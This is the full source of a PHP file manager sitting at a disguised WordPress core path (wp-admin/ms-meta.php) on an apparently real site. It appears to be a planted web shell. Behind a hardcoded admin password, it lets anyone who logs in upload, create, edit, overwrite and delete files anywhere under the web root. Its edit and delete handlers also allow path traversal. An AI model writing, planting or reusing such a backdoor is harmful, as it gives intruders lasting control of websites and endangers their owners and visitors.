File: /home/mdosdorg/domains/mdo-sd.org/public_html/wp-admin/ms-meta.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Advanced File Manager</title>
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
/* Custom styles for better folder navigation */
.folder-link {
transition: all 0.2s ease;
}
.folder-link:hover {
transform: translateX(5px);
}
.file-link:hover {
text-decoration: underline;
}
.breadcrumb-item {
position: relative;
}
.breadcrumb-item:not(:last-child)::after {
content: "/";
margin: 0 8px;
color: #6b7280;
}
/* Modal styles */
.modal {
transition: opacity 0.3s ease;
}
.modal-backdrop {
background-color: rgba(0, 0, 0, 0.75);
}
</style>
</head>
<body class="bg-gray-900 text-gray-100 min-h-screen">
<?php
session_start();
// Simple authentication (in production, use a more secure method)
$valid_username = "admin";
$valid_password = "securepassword123";
// Check if user is logged in
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
// Show login form
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'])) {
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
if ($username === $valid_username && $password === $valid_password) {
$_SESSION['logged_in'] = true;
header("Location: " . $_SERVER['PHP_SELF']);
exit;
} else {
$login_error = "Invalid username or password";
}
}
?>
<div class="flex items-center justify-center min-h-screen">
<div class="bg-gray-800 p-8 rounded-lg shadow-lg w-full max-w-md">
<h2 class="text-2xl font-bold text-center mb-6 text-green-500">File Manager Login</h2>
<?php if (isset($login_error)): ?>
<div class="bg-red-500 text-white p-3 rounded mb-4">
<?php echo $login_error; ?>
</div>
<?php endif; ?>
<form method="post" action="">
<div class="mb-4">
<label for="username" class="block mb-2">Username</label>
<input type="text" id="username" name="username" required
class="w-full px-3 py-2 bg-gray-700 border border-gray-600 rounded focus:outline-none focus:ring-2 focus:ring-green-500">
</div>
<div class="mb-6">
<label for="password" class="block mb-2">Password</label>
<input type="password" id="password" name="password" required
class="w-full px-3 py-2 bg-gray-700 border border-gray-600 rounded focus:outline-none focus:ring-2 focus:ring-green-500">
</div>
<button type="submit" name="login"
class="w-full bg-green-600 hover:bg-green-700 text-white font-bold py-2 px-4 rounded transition duration-200">
Login
</button>
</form>
</div>
</div>
<?php
exit;
}
// Logout functionality
if (isset($_GET['logout'])) {
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
// Set base directory - CHANGE THIS TO YOUR WEBSITE'S ROOT DIRECTORY
// Option 1: Use the document root (recommended for most cases)
$baseDir = $_SERVER['DOCUMENT_ROOT'];
// Option 2: Manually specify a custom base directory
// $baseDir = '/home/u283258168/domains/wextern.in/public_html';
// Ensure the base directory exists and is accessible
if (!is_dir($baseDir)) {
die("Base directory does not exist or is not accessible: $baseDir");
}
// Handle the current directory with security checks
if (isset($_GET['dir']) && !empty($_GET['dir'])) {
$requestedDir = $_GET['dir'];
// Make sure the requested directory is within the base directory
if (strpos($requestedDir, '..') === false) {
$fullPath = $baseDir . DIRECTORY_SEPARATOR . $requestedDir;
if (is_dir($fullPath)) {
$currentDir = $fullPath;
} else {
$currentDir = $baseDir;
}
} else {
$currentDir = $baseDir;
}
} else {
$currentDir = $baseDir;
}
// Function to get relative path from base directory
function getRelativePath($path, $baseDir) {
$path = realpath($path);
$baseDir = realpath($baseDir);
if (strpos($path, $baseDir) === 0) {
$relativePath = substr($path, strlen($baseDir));
return ltrim($relativePath, DIRECTORY_SEPARATOR);
}
return '';
}
// Get current relative path for URL parameters
$currentRelativePath = getRelativePath($currentDir, $baseDir);
// Create breadcrumbs for the current directory
$pathParts = array_filter(explode(DIRECTORY_SEPARATOR, $currentRelativePath));
$breadcrumbs = [];
$pathAccumulator = '';
foreach ($pathParts as $part) {
$pathAccumulator .= ($pathAccumulator ? DIRECTORY_SEPARATOR : '') . $part;
$breadcrumbs[] = "<a href=\"?dir=" . urlencode($pathAccumulator) . "\" class=\"breadcrumb-item text-green-400 hover:text-green-300 font-medium\">$part</a>";
}
// Handle file editing
$editingFile = null;
$fileContent = '';
if (isset($_GET['edit'])) {
$editFilePath = $baseDir . DIRECTORY_SEPARATOR . $_GET['edit'];
if (is_file($editFilePath)) {
$editingFile = $editFilePath;
$fileContent = file_get_contents($editingFile);
}
}
// Handle file saving
if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) {
$saveFilePath = $baseDir . DIRECTORY_SEPARATOR . $_POST['filePath'];
if (is_file($saveFilePath)) {
file_put_contents($saveFilePath, $_POST['fileContent']);
echo "<div class='bg-green-500 text-white p-3 rounded mb-4'>File saved successfully.</div>";
} else {
echo "<div class='bg-red-500 text-white p-3 rounded mb-4'>Error saving file.</div>";
}
}
?>
<div class="container mx-auto px-4 py-8">
<header class="flex justify-between items-center mb-8">
<h2 class="text-3xl font-bold text-green-500">Advanced File Manager</h2>
<a href="?logout=1" class="bg-red-600 hover:bg-red-700 text-white px-4 py-2 rounded transition duration-200">
<i class="fas fa-sign-out-alt mr-2"></i>Logout
</a>
</header>
<!-- Enhanced Navigation Section -->
<div class="bg-gray-800 rounded-lg shadow-lg p-6 mb-8">
<!-- Quick Navigation -->
<div class="mb-6">
<h3 class="text-lg font-medium text-gray-400 mb-2">Quick Navigation</h3>
<div class="bg-gray-700 p-4 rounded-lg flex flex-wrap gap-2">
<a href="?" class="inline-flex items-center px-3 py-1 rounded-full text-sm font-medium bg-green-600 text-white hover:bg-green-700 transition duration-200">
<i class="fas fa-home mr-1"></i> Root
</a>
<?php
// List common directories in the base directory
$commonDirs = ['public_html', 'wp-admin', 'wp-content', 'wp-includes'];
foreach ($commonDirs as $dir) {
$dirPath = $baseDir . DIRECTORY_SEPARATOR . $dir;
if (is_dir($dirPath)) {
$relativePath = getRelativePath($dirPath, $baseDir);
echo "<a href=\"?dir=" . urlencode($relativePath) . "\" class=\"inline-flex items-center px-3 py-1 rounded-full text-sm font-medium bg-blue-600 text-white hover:bg-blue-700 transition duration-200\">";
echo "<i class='fas fa-folder mr-1'></i> $dir</a>";
}
}
?>
</div>
</div>
<!-- Breadcrumb Navigation -->
<div class="mb-6">
<h3 class="text-lg font-medium text-gray-400 mb-2">Current Location</h3>
<div class="bg-gray-700 p-4 rounded-lg flex items-center flex-wrap">
<a href="?" class="breadcrumb-item text-green-400 hover:text-green-300 font-medium flex items-center">
<i class="fas fa-home mr-1"></i> Root
</a>
<?php if (!empty($breadcrumbs)): ?>
<?php echo implode('', $breadcrumbs); ?>
<?php endif; ?>
</div>
</div>
<!-- Current Directory Info -->
<div class="mb-6 p-4 bg-gray-700 rounded-lg">
<div class="flex flex-col md:flex-row md:items-center md:justify-between">
<div>
<h3 class="text-lg font-medium text-gray-300 mb-1">Current Directory</h3>
<p class="text-gray-400 text-sm"><?php echo basename($currentDir); ?></p>
</div>
<div class="mt-2 md:mt-0 flex items-center space-x-2">
<!-- Go Up Button -->
<?php if ($currentDir !== $baseDir): ?>
<?php
$parentDir = dirname($currentDir);
$parentRelativePath = getRelativePath($parentDir, $baseDir);
?>
<a href="?dir=<?php echo urlencode($parentRelativePath); ?>"
class="inline-flex items-center px-3 py-1 rounded-full text-sm font-medium bg-blue-600 text-white hover:bg-blue-700 transition duration-200">
<i class="fas fa-arrow-up mr-1"></i> Go Up
</a>
<?php endif; ?>
<span class="inline-flex items-center px-3 py-1 rounded-full text-sm font-medium bg-green-900 text-green-200">
<i class="fas fa-folder-open mr-1"></i>
<?php echo basename($currentDir); ?>
</span>
</div>
</div>
</div>
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-4 mb-8">
<!-- Change directory form -->
<form method="post" action="?dir=<?php echo urlencode($currentRelativePath); ?>">
<div class="bg-gray-700 p-4 rounded-lg">
<div class="mb-3">
<label class="block text-sm font-medium mb-1">Change Directory</label>
<input type="text" name="newDir" placeholder="Enter path" required
class="w-full px-3 py-2 bg-gray-600 border border-gray-500 rounded focus:outline-none focus:ring-1 focus:ring-green-500">
</div>
<button type="submit" name="changeDir"
class="w-full bg-blue-600 hover:bg-blue-700 text-white py-2 px-4 rounded transition duration-200">
Change
</button>
</div>
</form>
<!-- Create new directory form -->
<form method="post" action="?dir=<?php echo urlencode($currentRelativePath); ?>">
<div class="bg-gray-700 p-4 rounded-lg">
<div class="mb-3">
<label class="block text-sm font-medium mb-1">New Directory</label>
<input type="text" name="newDirName" placeholder="Directory name" required
class="w-full px-3 py-2 bg-gray-600 border border-gray-500 rounded focus:outline-none focus:ring-1 focus:ring-green-500">
</div>
<button type="submit" name="createDir"
class="w-full bg-yellow-600 hover:bg-yellow-700 text-white py-2 px-4 rounded transition duration-200">
Create
</button>
</div>
</form>
<!-- Create new file form -->
<form method="post" action="?dir=<?php echo urlencode($currentRelativePath); ?>">
<div class="bg-gray-700 p-4 rounded-lg">
<div class="mb-3">
<label class="block text-sm font-medium mb-1">New File</label>
<input type="text" name="newFileName" placeholder="File name" required
class="w-full px-3 py-2 bg-gray-600 border border-gray-500 rounded focus:outline-none focus:ring-1 focus:ring-green-500">
</div>
<button type="submit" name="createFile"
class="w-full bg-purple-600 hover:bg-purple-700 text-white py-2 px-4 rounded transition duration-200">
Create
</button>
</div>
</form>
<!-- File upload form -->
<form action="?dir=<?php echo urlencode($currentRelativePath); ?>" method="post" enctype="multipart/form-data">
<div class="bg-gray-700 p-4 rounded-lg">
<div class="mb-3">
<label class="block text-sm font-medium mb-1">Upload File</label>
<input type="file" name="file" required
class="w-full text-sm text-gray-400 file:mr-4 file:py-2 file:px-4 file:rounded file:border-0 file:text-sm file:font-semibold file:bg-green-600 file:text-white hover:file:bg-green-700">
</div>
<button type="submit"
class="w-full bg-green-600 hover:bg-green-700 text-white py-2 px-4 rounded transition duration-200">
Upload
</button>
</div>
</form>
</div>
<?php
// Handle directory change
if (isset($_POST['changeDir'])) {
$newDir = $_POST['newDir'];
// Prevent directory traversal
if (strpos($newDir, '..') === false) {
$fullPath = $baseDir . DIRECTORY_SEPARATOR . $newDir;
if (is_dir($fullPath)) {
$relativePath = getRelativePath($fullPath, $baseDir);
header("Location: ?dir=" . urlencode($relativePath));
exit;
} else {
echo "<div class='bg-red-500 text-white p-3 rounded mb-4'>Directory does not exist or is not accessible.</div>";
}
} else {
echo "<div class='bg-red-500 text-white p-3 rounded mb-4'>Invalid directory path.</div>";
}
}
// Handle file upload
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
if ($file['error'] === UPLOAD_ERR_OK) {
$fileName = basename($file['name']);
$fileTmpPath = $file['tmp_name'];
$dest_path = $currentDir . DIRECTORY_SEPARATOR . $fileName;
if (move_uploaded_file($fileTmpPath, $dest_path)) {
echo "<div class='bg-green-500 text-white p-3 rounded mb-4'>File uploaded successfully.</div>";
} else {
echo "<div class='bg-red-500 text-white p-3 rounded mb-4'>Error moving the uploaded file.</div>";
}
} else {
echo "<div class='bg-red-500 text-white p-3 rounded mb-4'>Error: No file selected or upload failed.</div>";
}
}
// Handle file deletion
if (isset($_GET['delete'])) {
$fileToDelete = $baseDir . DIRECTORY_SEPARATOR . $_GET['delete'];
if (is_file($fileToDelete)) {
unlink($fileToDelete);
echo "<div class='bg-yellow-500 text-white p-3 rounded mb-4'>File deleted successfully.</div>";
} elseif (is_dir($fileToDelete)) {
rmdir($fileToDelete);
echo "<div class='bg-yellow-500 text-white p-3 rounded mb-4'>Directory deleted successfully.</div>";
}
}
// Handle directory creation
if (isset($_POST['createDir'])) {
$newDirName = $_POST['newDirName'];
// Prevent directory traversal
if (strpos($newDirName, '..') === false && strpos($newDirName, '/') === false && strpos($newDirName, '\\') === false) {
$newDirPath = $currentDir . DIRECTORY_SEPARATOR . $newDirName;
if (!is_dir($newDirPath)) {
mkdir($newDirPath);
echo "<div class='bg-green-500 text-white p-3 rounded mb-4'>Directory created: $newDirName</div>";
} else {
echo "<div class='bg-yellow-500 text-white p-3 rounded mb-4'>Directory already exists.</div>";
}
} else {
echo "<div class='bg-red-500 text-white p-3 rounded mb-4'>Invalid directory name.</div>";
}
}
// Handle file creation
if (isset($_POST['createFile'])) {
$newFileName = $_POST['newFileName'];
// Prevent directory traversal
if (strpos($newFileName, '..') === false && strpos($newFileName, '/') === false && strpos($newFileName, '\\') === false) {
$newFilePath = $currentDir . DIRECTORY_SEPARATOR . $newFileName;
if (!file_exists($newFilePath)) {
file_put_contents($newFilePath, '');
echo "<div class='bg-green-500 text-white p-3 rounded mb-4'>File created: $newFileName</div>";
} else {
echo "<div class='bg-yellow-500 text-white p-3 rounded mb-4'>File already exists.</div>";
}
} else {
echo "<div class='bg-red-500 text-white p-3 rounded mb-4'>Invalid file name.</div>";
}
}
?>
<div class="mb-6">
<h3 class="text-xl font-semibold mb-4">Files and Directories in: <span class="text-green-400"><?php echo basename($currentDir); ?></span></h3>
</div>
<div class="overflow-x-auto">
<table class="min-w-full bg-gray-700 rounded-lg overflow-hidden">
<thead>
<tr class="bg-gray-600">
<th class="py-3 px-4 text-left">Name</th>
<th class="py-3 px-4 text-left">Size</th>
<th class="py-3 px-4 text-left">Modified</th>
<th class="py-3 px-4 text-left">Actions</th>
</tr>
</thead>
<tbody>
<?php
// List directories first, then files
$files = scandir($currentDir);
// Parent directory link
if ($currentDir !== $baseDir) {
$parentDir = dirname($currentDir);
$parentRelativePath = getRelativePath($parentDir, $baseDir);
echo "<tr class='border-b border-gray-600 hover:bg-gray-600'>";
echo "<td class='py-3 px-4'><a href=\"?dir=" . urlencode($parentRelativePath) . "\" class='folder-link text-blue-400 hover:text-blue-300 flex items-center'><i class='fas fa-arrow-up text-blue-500 mr-2'></i> Go to parent directory</a></td>";
echo "<td class='py-3 px-4'>-</td>";
echo "<td class='py-3 px-4'>-</td>";
echo "<td class='py-3 px-4'>-</td>";
echo "</tr>";
}
// List directories
foreach ($files as $file) {
if ($file !== "." && $file !== ".." && is_dir($currentDir . DIRECTORY_SEPARATOR . $file)) {
$filePath = $currentDir . DIRECTORY_SEPARATOR . $file;
$relativePath = getRelativePath($filePath, $baseDir);
$fileSize = '-';
$fileMod = date('Y-m-d H:i', filemtime($filePath));
echo "<tr class='border-b border-gray-600 hover:bg-gray-600'>";
echo "<td class='py-3 px-4'><a href=\"?dir=" . urlencode($relativePath) . "\" class='folder-link text-yellow-400 hover:text-yellow-300 flex items-center'><i class='fas fa-folder text-yellow-500 mr-2 text-lg'></i> $file</a></td>";
echo "<td class='py-3 px-4'>$fileSize</td>";
echo "<td class='py-3 px-4'>$fileMod</td>";
echo "<td class='py-3 px-4'><a href=\"?dir=" . urlencode($currentRelativePath) . "&delete=" . urlencode($relativePath) . "\" class='text-red-400 hover:text-red-300'><i class='fas fa-trash-alt'></i></a></td>";
echo "</tr>";
}
}
// List files
foreach ($files as $file) {
if ($file !== "." && $file !== ".." && is_file($currentDir . DIRECTORY_SEPARATOR . $file)) {
$filePath = $currentDir . DIRECTORY_SEPARATOR . $file;
$relativePath = getRelativePath($filePath, $baseDir);
$fileSize = formatFileSize(filesize($filePath));
$fileMod = date('Y-m-d H:i', filemtime($filePath));
echo "<tr class='border-b border-gray-600 hover:bg-gray-600'>";
echo "<td class='py-3 px-4'><a href=\"$filePath\" target=\"_blank\" class='file-link text-green-400 hover:text-green-300 flex items-center'><i class='fas fa-file text-green-500 mr-2 text-lg'></i> $file</a></td>";
echo "<td class='py-3 px-4'>$fileSize</td>";
echo "<td class='py-3 px-4'>$fileMod</td>";
echo "<td class='py-3 px-4'>";
echo "<div class='flex space-x-2'>";
echo "<a href=\"?dir=" . urlencode($currentRelativePath) . "&edit=" . urlencode($relativePath) . "\" class='text-blue-400 hover:text-blue-300' title='Edit'><i class='fas fa-edit'></i></a>";
echo "<a href=\"?dir=" . urlencode($currentRelativePath) . "&delete=" . urlencode($relativePath) . "\" class='text-red-400 hover:text-red-300' title='Delete'><i class='fas fa-trash-alt'></i></a>";
echo "</div>";
echo "</td>";
echo "</tr>";
}
}
// Helper function to format file size
function formatFileSize($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
return $bytes . ' bytes';
} elseif ($bytes == 1) {
return '1 byte';
} else {
return '0 bytes';
}
}
?>
</tbody>
</table>
</div>
</div>
</div>
<!-- Edit File Modal -->
<?php if ($editingFile): ?>
<div class="modal fixed inset-0 z-50 overflow-y-auto" aria-labelledby="modal-title" role="dialog" aria-modal="true">
<div class="modal-backdrop fixed inset-0 bg-gray-900 bg-opacity-75 transition-opacity"></div>
<div class="flex items-center justify-center min-h-screen pt-4 px-4 pb-20 text-center sm:block sm:p-0">
<span class="hidden sm:inline-block sm:align-middle sm:h-screen" aria-hidden="true">​</span>
<div class="inline-block align-bottom bg-gray-800 rounded-lg text-left overflow-hidden shadow-xl transform transition-all sm:my-8 sm:align-middle sm:max-w-4xl sm:w-full">
<div class="bg-gray-800 px-4 pt-5 pb-4 sm:p-6 sm:pb-4">
<div class="sm:flex sm:items-start">
<div class="mt-3 text-center sm:mt-0 sm:ml-4 sm:text-left w-full">
<h3 class="text-lg leading-6 font-medium text-gray-200" id="modal-title">
Editing: <?php echo basename($editingFile); ?>
</h3>
<div class="mt-2">
<form action="?dir=<?php echo urlencode($currentRelativePath); ?>" method="post">
<input type="hidden" name="filePath" value="<?php echo getRelativePath($editingFile, $baseDir); ?>">
<div class="mb-4">
<textarea name="fileContent" rows="20" class="w-full px-3 py-2 bg-gray-700 border border-gray-600 rounded focus:outline-none focus:ring-2 focus:ring-green-500 text-gray-100 font-mono text-sm"><?php echo htmlspecialchars($fileContent); ?></textarea>
</div>
<div class="flex justify-end space-x-3">
<a href="?dir=<?php echo urlencode($currentRelativePath); ?>" class="inline-flex justify-center px-4 py-2 border border-gray-600 shadow-sm text-sm font-medium rounded-md text-gray-300 bg-gray-700 hover:bg-gray-600 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-green-500">
Cancel
</a>
<button type="submit" name="saveFile" class="inline-flex justify-center px-4 py-2 border border-transparent shadow-sm text-sm font-medium rounded-md text-white bg-green-600 hover:bg-green-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-green-500">
Save Changes
</button>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<?php endif; ?>
</body>
</html>